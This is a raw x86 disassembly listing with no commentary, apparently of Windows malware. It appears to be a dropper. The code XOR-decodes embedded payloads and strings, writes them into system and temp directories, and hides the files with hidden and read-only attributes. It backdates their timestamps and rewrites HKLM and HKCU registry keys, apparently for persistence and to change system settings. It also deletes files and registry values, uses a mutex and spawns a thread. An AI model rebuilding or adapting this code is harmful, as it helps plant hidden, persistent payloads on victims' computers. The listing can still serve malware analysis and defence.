push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push ebx
call sub.KERNEL32.DLL_CreateFileA
mov dword [esp + 0xa0], eax
test eax, eax
je 0x4047bd
cmp eax, 0xffffffff
je 0x4047bd
push 0
lea edx, [esp + 0xa0]
push edx
push 0xc00
push 0x407b20
push eax
call sub.KERNEL32.DLL_WriteFile
call fcn.004010b2
mov byte [esp + 0x1b], al
test eax, eax
jne 0x40467f
mov byte [esp + 0x1b], 0x66
lea eax, [ebp + 0x64]
call fcn.00401000
mov byte [ebp + eax], 0
mov edi, eax
mov esi, eax
mov edx, dword [esp + 0x14]
lea eax, [eax + ebp]
cmp esi, eax
jae 0x4046ab
movzx eax, byte [esp + 0x1b]
xor al, byte [edx]
inc edx
mov byte [esi], al
inc esi
lea eax, [edi + ebp]
jmp 0x404697
lea eax, [esp + 0x1568]
lea ebx, [edi + ebp]
push eax
call sub.KERNEL32.DLL_lstrlenA
lea esi, [ebx + eax + 5]
add ebx, 0x64
cmp esi, ebx
jae 0x4046d6
call fcn.004010b2
mov byte [esi], al
inc esi
lea eax, [edi + ebp + 0x64]
cmp esi, eax
jmp 0x4046c4
mov dword [edi + ebp + 1], ebp
lea eax, [esp + 0x1568]
lea ebx, [edi + ebp]
push eax
lea eax, [ebx + 5]
mov esi, ebx
push eax
call sub.KERNEL32.DLL_lstrcpyA
lea eax, [ebx + 0x64]
cmp esi, eax
jae 0x404705
movzx eax, byte [esp + 0x1b]
xor byte [esi], al
inc esi
lea eax, [edi + ebp + 0x64]
jmp 0x4046f3
push 0
lea eax, [ebp + 0x64]
lea edx, [esp + 0xa0]
push edx
push eax
push edi
push dword [esp + 0xb0]
call sub.KERNEL32.DLL_WriteFile
mov eax, edi
call fcn.00401029
cmp dword [esp + 0xc], 0
je 0x404752
lea eax, [esp + 0x8c]
push eax
lea eax, [esp + 0x88]
push eax
lea eax, [esp + 0x84]
push eax
push dword [esp + 0xac]
call sub.KERNEL32.DLL_SetFileTime
push dword [esp + 0xa0]
call sub.KERNEL32.DLL_CloseHandle
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea ebx, [esp + 0x1250]
push ebx
call sub.KERNEL32.DLL_CreateFileA
push 0x4103eb
push dword [esp + 0x9c]
call sub.ADVAPI32.DLL_RegDeleteValueA
mov eax, dword [esp + 0x98]
call fcn.00401251
push ebx
call sub.KERNEL32.DLL_lstrlenA
inc eax
push eax
push ebx
push 1
push 0
push 0x4103eb
push dword [esp + 0xac]
call sub.ADVAPI32.DLL_RegSetValueExA
mov dword [esp + 0x2c], 1
push dword [esp + 0x98]
call sub.ADVAPI32.DLL_RegCloseKey
mov dword [esp + 0x78], 0x10
lea eax, [esp + 0x78]
push eax
lea ebx, [esp + 0x1ec]
push ebx
call sub.KERNEL32.DLL_GetComputerNameA
test eax, eax
je 0x4047f1
cmp byte [esp + 0x1e8], 0
jne 0x404805
push str.QlC5hT0yHn63XEm5LqJ2OxSkGj2v
lea eax, [esp + 0x1bc]
push eax
call sub.KERNEL32.DLL_lstrcpyA
jmp 0x404835
push ebx
lea eax, [esp + 0x1bc]
push eax
call sub.KERNEL32.DLL_lstrcpyA
jmp 0x404823
lea eax, [esp + 0x1e8]
push eax
push ebx
call sub.KERNEL32.DLL_lstrcatA
lea ebx, [esp + 0x1b8]
push ebx
call sub.KERNEL32.DLL_lstrlenA
cmp eax, 0xf
jle 0x404815
movsx eax, byte [esp + 0x1c7]
push eax
movsx eax, byte [esp + 0x1ca]
push eax
movsx eax, byte [esp + 0x1cd]
push eax
movsx eax, byte [esp + 0x1d0]
push eax
movsx eax, byte [esp + 0x1d3]
push eax
movsx eax, byte [esp + 0x1d6]
push eax
movsx eax, byte [esp + 0x1d9]
push eax
movsx eax, byte [esp + 0x1dc]
push eax
movsx eax, byte [esp + 0x1df]
push eax
movsx eax, byte [esp + 0x1e2]
push eax
movsx eax, byte [esp + 0x1e5]
push eax
movsx eax, byte [esp + 0x1e8]
push eax
movsx eax, byte [esp + 0x1eb]
push eax
movsx eax, byte [esp + 0x1ee]
push eax
movsx eax, byte [esp + 0x1f1]
push eax
movsx eax, byte [esp + 0x1f4]
push eax
push 0x410440
push 0x4122b0
call sub.USER32.dll_wsprintfA
add esp, 0x48
mov eax, 0x407aa0
cmp eax, 0x407ad5
jae 0x4048e9
xor byte [eax], 0xd4
inc eax
jmp 0x4048dc
mov eax, 0x4072a0
cmp eax, 0x407aa0
jae 0x4048fb
xor byte [eax], 0x4d
inc eax
jmp 0x4048ee
push 0x4122b0
push 0x407aa0
lea ebx, [esp + 0x1040]
push ebx
call sub.KERNEL32.DLL_lstrcpyA
push eax
call sub.KERNEL32.DLL_lstrcatA
lea eax, [esp + 0x98]
push eax
push ebx
push 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyA
test eax, eax
jne 0x404b8d
push 0x104
lea ebx, [esp + 0xf2c]
push ebx
call sub.KERNEL32.DLL_GetSystemDirectoryA
push dword [0x412090]
push 0x41103e
push ebx
call sub.KERNEL32.DLL_lstrcatA
push eax
call sub.KERNEL32.DLL_lstrcatA
mov eax, 0x407260
cmp eax, 0x407286
jae 0x40496e
xor byte [eax], 0xd4
inc eax
jmp 0x404961
push 0x407260
push 0
push 0
call sub.KERNEL32.DLL_CreateMutexA
mov dword [esp + 0xa0], eax
test eax, eax
je 0x4049a0
push 0x2710
push eax
call sub.KERNEL32.DLL_WaitForSingleObject
push dword [esp + 0xa0]
call sub.KERNEL32.DLL_CloseHandle
jmp 0x4049aa
push 0x7d0
call sub.KERNEL32.DLL_Sleep
push pe_nt_image_headers32
lea ebx, [esp + 0xf2c]
push ebx
call sub.KERNEL32.DLL_SetFileAttributesA
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push ebx
call sub.KERNEL32.DLL_CreateFileA
mov dword [esp + 0xa0], eax
test eax, eax
je 0x404b6f
cmp eax, 0xffffffff
je 0x404b6f
push 0
lea edx, [esp + 0xa0]
push edx
push 0x800
push 0x4072a0
push eax
call sub.KERNEL32.DLL_WriteFile
call fcn.004010b2
mov byte [esp + 0x1b], al
test eax, eax
jne 0x404a18
mov byte [esp + 0x1b], 0xc6
lea eax, [ebp + 0x64]
call fcn.00401000
mov byte [ebp + eax], 0
mov edi, eax
mov esi, eax
mov edx, dword [esp + 0x14]
lea eax, [eax + ebp]
cmp esi, eax
jae 0x404a44
movzx eax, byte [esp + 0x1b]
xor al, byte [edx]
inc edx
mov byte [esi], al
inc esi
lea eax, [edi + ebp]
jmp 0x404a30
lea eax, [esp + 0x1568]
lea ebx, [edi + ebp]
push eax
call sub.KERNEL32.DLL_lstrlenA
lea esi, [ebx + eax + 5]
add ebx, 0x64
cmp esi, ebx
jae 0x404a6f
call fcn.004010b2
mov byte [esi], al
inc esi
lea eax, [edi + ebp + 0x64]
cmp esi, eax
jmp 0x404a5d
mov dword [edi + ebp + 1], ebp
lea eax, [esp + 0x1568]
lea ebx, [edi + ebp]
push eax
lea eax, [ebx + 5]
mov esi, ebx
push eax
call sub.KERNEL32.DLL_lstrcpyA
lea eax, [ebx + 0x64]
cmp esi, eax
jae 0x404a9e
movzx eax, byte [esp + 0x1b]
xor byte [esi], al
inc esi
lea eax, [edi + ebp + 0x64]
jmp 0x404a8c
push 0
lea eax, [ebp + 0x64]
lea edx, [esp + 0xa0]
push edx
push eax
push edi
push dword [esp + 0xb0]
call sub.KERNEL32.DLL_WriteFile
mov eax, edi
call fcn.00401029
cmp dword [esp + 0xc], 0
je 0x404aeb
lea eax, [esp + 0x8c]
push eax
lea eax, [esp + 0x88]
push eax
lea eax, [esp + 0x84]
push eax
push dword [esp + 0xac]
call sub.KERNEL32.DLL_SetFileTime
push dword [esp + 0xa0]
call sub.KERNEL32.DLL_CloseHandle
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea ebx, [esp + 0xf40]
push ebx
call sub.KERNEL32.DLL_CreateFileA
mov eax, dword [esp + 0x98]
call fcn.00401251
mov dword [esp + 0x9c], 1
push 4
lea eax, [esp + 0xa0]
push eax
push 4
push 0
push 0x4103df
push dword [esp + 0xac]
call sub.ADVAPI32.DLL_RegSetValueExA
push ebx
call sub.KERNEL32.DLL_lstrlenA
inc eax
push eax
push ebx
push 1
push 0
push 0x4103d6
push dword [esp + 0xac]
call sub.ADVAPI32.DLL_RegSetValueExA
mov dword [esp + 0x28], 1
push dword [esp + 0x98]
call sub.ADVAPI32.DLL_RegCloseKey
lea eax, [esp + 0x1038]
push eax
push 0x80000001
call sub.ADVAPI32.DLL_RegDeleteKeyA
lea eax, [esp + 0x7b8]
call fcn.004030de
mov dword [esp + 0x98], eax
test eax, eax
je 0x404ce5
push 0x41018d
push eax
call sub.ADVAPI32.DLL_RegDeleteValueA
push dword [esp + 0x98]
call sub.ADVAPI32.DLL_RegCloseKey
lea esi, [esp + 0x7b9]
lea edx, [esp + 0x589]
lea ecx, [esp + 0x9e2]
cmp esi, ecx
jae 0x404be8
movzx eax, byte [esp + 0x7b8]
xor al, byte [esi]
inc esi
mov byte [edx], al
inc edx
jmp 0x404bd4
push dword [0x4120b0]
lea eax, [esp + 0x58e]
push eax
call sub.KERNEL32.DLL_lstrcmpiA
test eax, eax
jne 0x404c18
lea eax, [esp + 0x1568]
push eax
lea eax, [esp + 0x6b2]
push eax
call sub.KERNEL32.DLL_lstrcmpiA
test eax, eax
je 0x404c35
push pe_nt_image_headers32
lea ebx, [esp + 0x5ae]
push ebx
call sub.KERNEL32.DLL_SetFileAttributesA
push ebx
call sub.KERNEL32.DLL_DeleteFileA
jmp 0x404ce5
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x5c2]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov dword [esp + 0xa0], eax
test eax, eax
je 0x404c18
cmp eax, 0xffffffff
je 0x404c18
push 0
push eax
call sub.KERNEL32.DLL_GetFileSize
mov dword [esp + 0x74], eax
cmp eax, ebp
je 0x404c7f
push dword [esp + 0xa0]
call sub.KERNEL32.DLL_CloseHandle
jmp 0x404c18
push 0
lea eax, [esp + 0xa0]
push eax
mov eax, ebp
push ebp
call fcn.00401000
push eax
mov esi, eax
push dword [esp + 0xb0]
call sub.KERNEL32.DLL_ReadFile
mov ebx, dword [esp + 0x74]
mov edx, esi
mov edi, dword [esp + 0x14]
lea eax, [esi + ebx]
cmp esi, eax
jae 0x404cd9
movzx eax, byte [edi]
movzx ecx, byte [edx]
cmp byte [esp + 0x589], al
je 0x404cc3
dec ecx
jmp 0x404cc5
test ecx, ecx
je 0x404cd0
mov eax, esi
call fcn.00401029
jmp 0x404c71
inc edx
lea eax, [esi + ebx]
inc edi
cmp edx, eax
jmp 0x404caf
mov eax, esi
call fcn.00401029
jmp 0x404e76
call fcn.004010b2
test eax, eax
mov dl, al
jne 0x404cf2
mov dl, 0x42
mov byte [esp + 0x7b8], dl
call fcn.004010b2
test eax, eax
mov dl, al
jne 0x404d06
mov dl, 0x4d
mov byte [esp + 0x589], dl
push dword [0x4120b0]
lea eax, [esp + 0x58e]
push eax
call sub.KERNEL32.DLL_lstrcpyA
lea eax, [esp + 0x1568]
push eax
lea eax, [esp + 0x6b2]
push eax
call sub.KERNEL32.DLL_lstrcpyA
mov esi, dword [esp + 0x14]
lea eax, [esi + ebp]
cmp esi, eax
jae 0x404d53
movzx eax, byte [esp + 0x589]
xor byte [esi], al
inc esi
mov eax, dword [esp + 0x14]
add eax, ebp
jmp 0x404d3c
push 0x104
lea ebx, [esp + 0x145c]
push ebx
push 0x4103f4
call sub.KERNEL32.DLL_ExpandEnvironmentStringsA
test eax, eax
je 0x404dad
lea esi, [esp + 0x5aa]
push esi
push 0
push 0x411040
push ebx
call sub.KERNEL32.DLL_GetTempFileNameA
test eax, eax
je 0x404dad
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push esi
call sub.KERNEL32.DLL_CreateFileA
mov dword [esp + 0xa0], eax
test eax, eax
je 0x404dad
inc eax
jne 0x404e0a
lea ebx, [esp + 0x1458]
push ebx
push 0x104
call sub.KERNEL32.DLL_GetTempPathA
test eax, eax
je 0x404e76
lea esi, [esp + 0x5aa]
push esi
push 0
push 0x411040
push ebx
call sub.KERNEL32.DLL_GetTempFileNameA
test eax, eax
je 0x404e76
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push esi
call sub.KERNEL32.DLL_CreateFileA
mov dword [esp + 0xa0], eax
test eax, eax
je 0x404e76
inc eax
je 0x404e76
push 0
lea eax, [esp + 0xa0]
push eax
push ebp
push dword [esp + 0x20]
push dword [esp + 0xb0]
call sub.KERNEL32.DLL_WriteFile
push dword [esp + 0xa0]
call sub.KERNEL32.DLL_CloseHandle
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x5c2]
push eax
call sub.KERNEL32.DLL_CreateFileA
lea esi, [esp + 0x7b9]
lea edx, [esp + 0x589]
lea ecx, [esp + 0x9e2]
cmp esi, ecx
jae 0x404e76
movzx eax, byte [esp + 0x7b8]
xor al, byte [edx]
inc edx
mov byte [esi], al
inc esi
jmp 0x404e62
mov eax, dword [esp + 0x14]
call fcn.00401029
push 0x104
lea ebx, [esp + 0xe1c]
push ebx
call sub.KERNEL32.DLL_GetSystemDirectoryA
push pe_nt_image_headers32
push dword [0x4120c0]
push 0x41103e
push ebx
call sub.KERNEL32.DLL_lstrcatA
push eax
call sub.KERNEL32.DLL_lstrcatA
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push ebx
call sub.KERNEL32.DLL_CreateFileA
mov dword [esp + 0xa0], eax
test eax, eax
je 0x404f78
inc eax
je 0x404f78
push 0
lea eax, [esp + 0xa0]
push eax
push 0x1400
push 0x40e640
push dword [esp + 0xb0]
call sub.KERNEL32.DLL_WriteFile
cmp dword [esp + 0xc], 0
je 0x404f2c
lea eax, [esp + 0x8c]
push eax
lea eax, [esp + 0x88]
push eax
lea eax, [esp + 0x84]
push eax
push dword [esp + 0xac]
call sub.KERNEL32.DLL_SetFileTime
push dword [esp + 0xa0]
call sub.KERNEL32.DLL_CloseHandle
mov dword [esp + 0x24], 1
push 0
push 0x410176
lea ebx, [esp + 0xe20]
push ebx
call fcn.0040318d
add esp, 0xc
test eax, eax
jne 0x404f6b
push 0
push 0x410169
push ebx
call fcn.0040318d
add esp, 0xc
push 0
push 0x4107e6
push ebx
jmp 0x40505c
call sub.KERNEL32.DLL_GetLastError
cmp eax, 0x20
jne 0x404f9e
mov dword [esp + 0x24], 1
push 0
push 0x4107e6
lea eax, [esp + 0xe20]
push eax
jmp 0x40505c
push 0x104
lea ebx, [esp + 0xe1c]
push ebx
push 0x4103f4
call sub.KERNEL32.DLL_ExpandEnvironmentStringsA
push pe_nt_image_headers32
push dword [0x4120c0]
push ebx
call sub.KERNEL32.DLL_lstrcatA
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push ebx
call sub.KERNEL32.DLL_CreateFileA
mov dword [esp + 0xa0], eax
test eax, eax
je 0x404ff6
inc eax
jne 0x404ee1
call sub.KERNEL32.DLL_GetLastError
cmp eax, 0x20
je 0x404f82
push ebx
push 0x104
call sub.KERNEL32.DLL_GetTempPathA
push pe_nt_image_headers32
push dword [0x4120c0]
push ebx
call sub.KERNEL32.DLL_lstrcatA
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push ebx
call sub.KERNEL32.DLL_CreateFileA
mov dword [esp + 0xa0], eax
test eax, eax
je 0x40504c
inc eax
jne 0x404ee1
call sub.KERNEL32.DLL_GetLastError
cmp eax, 0x20
je 0x404f82
jmp 0x405080
call fcn.0040318d
add esp, 0xc
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0xe30]
push eax
call sub.KERNEL32.DLL_CreateFileA
push 0x104
lea ebx, [esp + 0xd0c]
push ebx
push 0x4103f4
call sub.KERNEL32.DLL_ExpandEnvironmentStringsA
push pe_nt_image_headers32
push dword [0x4120d0]
push ebx
call sub.KERNEL32.DLL_lstrcatA
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push ebx
call sub.KERNEL32.DLL_CreateFileA
mov dword [esp + 0xa0], eax
test eax, eax
mov edx, eax
je 0x4050d8
cmp eax, 0xffffffff
jne 0x40512b
lea ebx, [esp + 0xd08]
push ebx
push 0x104
call sub.KERNEL32.DLL_GetTempPathA
push pe_nt_image_headers32
push dword [0x4120d0]
push ebx
call sub.KERNEL32.DLL_lstrcatA
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push ebx
call sub.KERNEL32.DLL_CreateFileA
mov dword [esp + 0xa0], eax
test eax, eax
mov edx, eax
je 0x405153
cmp eax, 0xffffffff
je 0x405153
push 0
lea eax, [esp + 0xa0]
push eax
push 0x5e00
push 0x408840
push edx
call sub.KERNEL32.DLL_WriteFile
push dword [esp + 0xa0]
call sub.KERNEL32.DLL_CloseHandle
jmp 0x40515b
mov byte [esp + 0xd08], 0
cmp byte [esp + 0xd08], 0
je 0x405181
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0xd20]
push eax
call sub.KERNEL32.DLL_CreateFileA
push 0x104
lea ebx, [esp + 0xac]
push ebx
call sub.KERNEL32.DLL_GetSystemDirectoryA
push 0x41103e
push ebx
call sub.KERNEL32.DLL_lstrcatA
mov eax, ebx
call fcn.004012c2
push 0x104
push ebx
push 0x4103ff
call sub.KERNEL32.DLL_ExpandEnvironmentStringsA
mov eax, ebx
call fcn.004012c2
push 0x104
push ebx
push 0x4103f4
call sub.KERNEL32.DLL_ExpandEnvironmentStringsA
mov eax, ebx
call fcn.004012c2
mov eax, 0x407220
cmp eax, 0x40724d
jae 0x4051e5
xor byte [eax], 0xd4
inc eax
jmp 0x4051d8
lea edx, [esp + 0x98]
push edx
push 0x20006
push 0
push 0x407220
push 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
je 0x405229
lea eax, [esp + 0x98]
push eax
push 0x20006
push 0
push 0x407220
push 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
jne 0x40527f
cmp dword [esp + 0x2c], 0
jne 0x405262
mov eax, dword [esp + 0x98]
lea ebx, [esp + 0x1568]
call fcn.00401251
push ebx
call sub.KERNEL32.DLL_lstrlenA
inc eax
push eax
push ebx
push 1
push 0
push dword [0x4120b0]
push dword [esp + 0xac]
call sub.ADVAPI32.DLL_RegSetValueExA
push 0x41059c
push dword [esp + 0x9c]
call sub.ADVAPI32.DLL_RegDeleteValueA
push dword [esp + 0x98]
call sub.ADVAPI32.DLL_RegCloseKey
cmp dword [0x412100], 2
jne 0x4054f1
mov eax, 0x4071e0
cmp eax, 0x407214
jae 0x40529e
xor byte [eax], 0xd4
inc eax
jmp 0x405291
mov eax, 0x4071c3
cmp eax, 0x4071cf
jae 0x4052b0
xor byte [eax], 0xd4
inc eax
jmp 0x4052a3
lea esi, [esp + 0x98]
push esi
push 0x4071e0
push 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyA
test eax, eax
jne 0x4052f6
push 4
lea eax, [esp + 0xa0]
push eax
push 4
push 0
push 0x4071c3
push dword [esp + 0xac]
call sub.ADVAPI32.DLL_RegSetValueExA
push dword [esp + 0x98]
call sub.ADVAPI32.DLL_RegCloseKey
mov eax, 0x4071a0
cmp eax, 0x4071c2
jae 0x405308
xor byte [eax], 0xd4
inc eax
jmp 0x4052fb
mov eax, 0x407177
cmp eax, 0x407188
jae 0x40531a
xor byte [eax], 0xd4
inc eax
jmp 0x40530d
mov eax, 0x407160
cmp eax, 0x407176
jae 0x40532c
xor byte [eax], 0xd4
inc eax
jmp 0x40531f
mov eax, 0x40714a
cmp eax, 0x40715f
jae 0x40533e
xor byte [eax], 0xd4
inc eax
jmp 0x405331
mov eax, 0x407135
cmp eax, 0x407149
jae 0x405350
xor byte [eax], 0xd4
inc eax
jmp 0x405343
push esi
push 0x20006
push 0
push 0x4071a0
push 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
jne 0x4053de
push 4
lea ebx, [esp + 0xa0]
push ebx
push 4
push 0
push 0x407177
push dword [esp + 0xac]
call sub.ADVAPI32.DLL_RegSetValueExA
push 4
push ebx
push 4
push 0
push 0x407160
push dword [esp + 0xac]
call sub.ADVAPI32.DLL_RegSetValueExA
push 4
push ebx
push 4
push 0
push 0x40714a
push dword [esp + 0xac]
call sub.ADVAPI32.DLL_RegSetValueExA
push 4
push ebx
push 4
push 0
push 0x407135
push dword [esp + 0xac]
call sub.ADVAPI32.DLL_RegSetValueExA
push dword [esp + 0x98]
call sub.ADVAPI32.DLL_RegCloseKey
mov eax, 0x4070c0
cmp eax, 0x407134
jae 0x4053f0
xor byte [eax], 0xd4
inc eax
jmp 0x4053e3
push esi
push 0x2001f
push 0
push 0x4070c0
push 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
jne 0x4054f1
mov ax, 0x8000
call fcn.00401000
mov dword [esp + 0x74], 0x4000
mov esi, eax
mov eax, 0x407080
mov dword [esp + 0x9c], 0x4000
cmp eax, 0x4070a4
jae 0x40543f
xor byte [eax], 0xd4
inc eax
jmp 0x405432
mov dword [esp + 0x34], 0
jmp 0x405484
lea eax, [esp + 0x74]
lea ebx, [esi + 0x4000]
push eax
push ebx
lea eax, [esp + 0x78]
push eax
push 0
lea eax, [esp + 0xac]
push eax
push esi
push dword [esp + 0x4c]
push dword [esp + 0xb4]
call sub.ADVAPI32.DLL_RegEnumValueA
test eax, eax
je 0x405449
lea edx, [esp + 0x9c]
push edx
push 0
push 2
push fcn.0040265f
push pe_overlay
push 0
call sub.KERNEL32.DLL_CreateThread
push eax
call sub.KERNEL32.DLL_CloseHandle
mov eax, section..data
cmp eax, 0x407060
jae 0x405526
xor byte [eax], 0xd4
inc eax
jmp 0x405519
mov dword [esp + 0x30], 0
mov edx, section..data
mov eax, 0x80000002
call fcn.004011cf
cmp dword [esp + 0x30], 9
jle 0x4057ee
mov dword [esp + 0x58], 0
mov dword [esp + 0x5c], 0
call fcn.004025c3
test eax, eax
jne 0x4057d5
push 0
lea eax, [esp + 0x70]
push eax
push 0
push 0x2001f
push 0
push 0
push 0
push 0x410240
push 0x80000001
call sub.ADVAPI32.DLL_RegCreateKeyExA
test eax, eax
jne 0x4057de
lea ebp, [esp + 0x64]
push ebp
call sub.KERNEL32.DLL_GetSystemTimeAsFileTime
mov dword [esp + 0x60], 8
lea eax, [esp + 0x60]
push eax
lea edi, [esp + 0x5c]
push edi
lea edx, [esp + 0x5c]
push edx
push 0
push 0x410228
push dword [esp + 0x80]
call sub.ADVAPI32.DLL_RegQueryValueExA
test eax, eax
jne 0x4055dc
mov edx, edi
mov eax, ebp
call fcn.004014d8
cmp eax, 0x152ab
jbe 0x4056a9
mov edx, 0x412070
mov eax, ebp
call fcn.004014d8
cmp eax, 0x4af
jbe 0x405669
call fcn.00402427
test eax, eax
jne 0x4057cc
push 1
xor edx, edx
mov eax, 0x4101ee
call fcn.004019e8
pop ecx
xor esi, esi
test eax, eax
mov ebx, eax
je 0x405628
push 2
lea edx, [esp + 0x56]
call fcn.00401e00
pop edx
cmp eax, 2
jne 0x405628
mov si, 1
mov eax, ebx
call fcn.00401f59
test esi, esi
je 0x40565f
mov eax, dword [esp + 0x64]
mov edx, dword [esp + 0x68]
mov dword [0x412070], eax
xor eax, eax
cmp byte [esp + 0x52], 0x49
mov dword [0x412074], edx
jne 0x405658
cmp byte [esp + 0x53], 0x54
jne 0x405658
mov al, 1
mov dword [0x412080], eax
jmp 0x405669
mov dword [0x412080], 0
cmp dword [0x412080], 0
je 0x4056a9
push 3
xor edx, edx
mov eax, 0x4101e3
push 0
call fcn.0040211b
pop edx
test eax, eax
pop ecx
je 0x4056a9
mov eax, dword [esp + 0x64]
mov edx, dword [esp + 0x68]
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], edx
push 8
push ebp
push 0xb
push 0
push 0x410228
jmp 0x4057ae
mov dword [esp + 0x60], 8
lea eax, [esp + 0x60]
push eax
push edi
lea edx, [esp + 0x5c]
push edx
push 0
push 0x41021a
push dword [esp + 0x80]
call sub.ADVAPI32.DLL_RegQueryValueExA
test eax, eax
jne 0x4056e7
lea edx, [esp + 0x58]
lea eax, [esp + 0x64]
call fcn.004014d8
cmp eax, 0x152ab
jbe 0x40572b
call fcn.00402427
test eax, eax
jne 0x4057cc
push 1
xor edx, edx
mov eax, 0x4101c0
push 0
call fcn.0040211b
pop ebx
test eax, eax
pop esi
je 0x40572b
mov eax, dword [esp + 0x64]
mov edx, dword [esp + 0x68]
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], edx
push 8
push ebp
push 0xb
push 0
push 0x41021a
jmp 0x4057ae
mov dword [esp + 0x60], 8
lea eax, [esp + 0x60]
push eax
lea ebx, [esp + 0x4c]
push ebx
lea edx, [esp + 0x5c]
push edx
push 0
push 0x41020c
push dword [esp + 0x80]
call sub.ADVAPI32.DLL_RegQueryValueExA
test eax, eax
je 0x405771
mov eax, dword [esp + 0x58]
mov edx, dword [esp + 0x5c]
add eax, 0x1162f100
adc edx, 0xffffff9b
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], edx
mov edx, ebx
lea eax, [esp + 0x64]
call fcn.004014d8
cmp eax, 0x152ab
jbe 0x4057cc
call fcn.00402427
test eax, eax
jne 0x4057cc
push 3
xor edx, edx
mov eax, 0x41019b
push 0
call fcn.0040211b
pop edx
test eax, eax
pop ecx
je 0x4057cc
push dword [esp + 0x80]
call sub.ADVAPI32.DLL_RegSetValueExA
push dword [esp + 0x6c]
call sub.ADVAPI32.DLL_RegCloseKey
mov dword [esp], 1
jmp 0x4057e4
push dword [esp + 0x6c]
call sub.ADVAPI32.DLL_RegCloseKey
mov dword [esp], 0
jmp 0x4057f2
cmp dword [esp], 0
je 0x4057f2
mov dword [esp + 0x30], 0
jmp 0x4057f2
inc dword [esp + 0x30]
mov dword [esp + 0x34], 0x3b
cmp byte [esp + 0xd08], 0
je 0x405834
push 0
push 0x41012c
push 0x410136
push 0x410144
push 0x410150
push 0x41015c
push 0x410169
lea eax, [esp + 0xd24]
push eax
call fcn.0040318d
add esp, 0x20
cmp dword [esp + 0x28], 0
je 0x4058cc
push 0x21
lea ebx, [esp + 0xf2c]
push ebx
call sub.KERNEL32.DLL_SetFileAttributesA
lea eax, [esp + 0x98]
push eax
lea eax, [esp + 0x103c]
push eax
push 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyA
test eax, eax
jne 0x4058cc
mov eax, dword [esp + 0x98]
call fcn.00401251
mov dword [esp + 0x9c], 1
push 4
lea eax, [esp + 0xa0]
push eax
push 4
push 0
push 0x4103df
push dword [esp + 0xac]
call sub.ADVAPI32.DLL_RegSetValueExA
push ebx
call sub.KERNEL32.DLL_lstrlenA
inc eax
push eax
push ebx
push 1
push 0
push 0x4103d6
push dword [esp + 0xac]
call sub.ADVAPI32.DLL_RegSetValueExA
push dword [esp + 0x98]
call sub.ADVAPI32.DLL_RegCloseKey
cmp dword [esp + 0x2c], 0
lea esi, [esp + 0x98]
je 0x405921
push 0x21
lea ebx, [esp + 0x123c]
push ebx
call sub.KERNEL32.DLL_SetFileAttributesA
push esi
push 0x408720
push 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyA
test eax, eax
jne 0x405989
mov eax, dword [esp + 0x98]
call fcn.00401251
push ebx
call sub.KERNEL32.DLL_lstrlenA
inc eax
push eax
push ebx
push 1
push 0
push 0x4103eb
jmp 0x405971
push esi
push 0x20006
push 0
push 0x407220
push 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
je 0x405957
push esi
push 0x20006
push 0
push 0x407220
push 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
jne 0x405989
lea ebx, [esp + 0x1568]
push ebx
call sub.KERNEL32.DLL_lstrlenA
inc eax
push eax
push ebx
push 1
push 0
push dword [0x4120b0]
push dword [esp + 0xac]
call sub.ADVAPI32.DLL_RegSetValueExA
push dword [esp + 0x98]
call sub.ADVAPI32.DLL_RegCloseKey
cmp dword [esp + 0x24], 0
je 0x405b0b
push 0
lea ebx, [esp + 0x9c]
push ebx
push 0x408778
push 0xf003f
push 0
push 0
push 0
push 0x410240
push 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyExA
test eax, eax
je 0x4059e7
push 0
push ebx
push 0x408778
push 0xf003f
push 0
push 0
push 0
push 0x410240
push 0x80000001
call sub.ADVAPI32.DLL_RegCreateKeyExA
test eax, eax
jne 0x405a15
push 0x22a
lea eax, [esp + 0x7bc]
push eax
push 3
push 0
push 0x41018d
push dword [esp + 0xac]
call sub.ADVAPI32.DLL_RegSetValueExA
push dword [esp + 0x98]
call sub.ADVAPI32.DLL_RegCloseKey
push 0x21
lea ebx, [esp + 0xe1c]
push ebx
call sub.KERNEL32.DLL_SetFileAttributesA
cmp dword [0x412100], 2
lea esi, [esp + 0x98]
jne 0x405a94
push esi
push 0x410520
push 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyA
test eax, eax
jne 0x405b0b
mov eax, dword [esp + 0x98]
call fcn.00401251
push ebx
call sub.KERNEL32.DLL_lstrlenA
inc eax
push eax
push ebx
push 1
push 0
push 0x410124
push dword [esp + 0xac]
call sub.ADVAPI32.DLL_RegSetValueExA
push 8
